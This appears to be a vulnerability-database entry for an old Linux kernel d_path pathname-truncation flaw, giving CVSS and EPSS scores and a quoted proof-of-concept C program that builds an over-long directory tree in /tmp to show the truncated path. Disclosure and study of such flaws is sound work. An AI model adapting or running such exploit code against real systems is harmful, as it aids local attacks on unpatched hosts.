CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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The d_path function in Linux kernel 2.2.20 and earlier, and 2.4.18 and earlier, truncates long pathnames without generating an error, which could allow local users to force programs to perform inappropriate operations on the wrong directories.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
2.1
AV:L/AC:L/Au:N/C:N/I:P/A:N
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.76%
–
–
2022-03-27
–
–
1.76%
–
–
2022-04-03
–
–
1.76%
–
–
2022-04-17
–
–
1.76%
–
–
2022-08-28
–
–
1.76%
–
–
2023-03-05
–
–
1.76%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.15%
2025-03-30
–
–
–
–
0.18%
2025-04-15
–
–
–
–
0.18%
2025-04-15
–
–
–
–
0.18,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
/*
source: https://www.securityfocus.com/bid/4367/info
The Linux kernel d_path() function converts a dentry structure into an ASCII path name. The full path to the specified dentry is returned in a fixed length buffer of size PAGE_SIZE bytes.
Reportedly, if a dentry structure is passed with a path which would exceed this length, an erroneous value is returned. The path which is returned has leading entries truncated, and no error is reported.
*/
/*
* 2.2.x/2.4.x Linux kernel d_path proof-of-concept exploit
*
* Bug found by cliph
*/
#include <unistd.h>
#include <stdio.h>
#include <limits.h>
#include <errno.h>
#include <paths.h>
/*
* Note: on Linux 2.2.x PATH_MAX = PAGE_SIZE - 1 that gives us 1 byte for
* trailing '\0'
*/
#define PATH_COMPONENT "123456789abcdef"
void err(char * msg)
{
if (errno) {
perror(msg);
exit(1);
}
}
int main()
{
char buf[PATH_MAX + 1]; /* think of trailing '\0' */
int len;
errno = 0;
chdir(_PATH_TMP);
err("chdir");
/* show CWD before exploiting the bug */
getcwd(buf, sizeof(buf));
err("getcwd #1");
fprintf(stderr, "CWD=%.40s\n", buf);
/* creating long directory tree - it must exceed PATH_MAX characters */
for (len = 0; len <= PATH_MAX; len += strlen(PATH_COMPONENT) + 1) {
errno = 0;
mkdir(PATH_COMPONENT, 0700);
if (errno != EEXIST)
err("mkdir");
errno = 0;
chdir(PATH_COMPONENT);
err("mkdir");
}
/* show CWD before exploiting the bug */
getcwd(buf, sizeof(buf));
err("getcwd #1");
fprintf(stderr, "CWD=%.40s... [stripped]\n", buf);
return 0;
}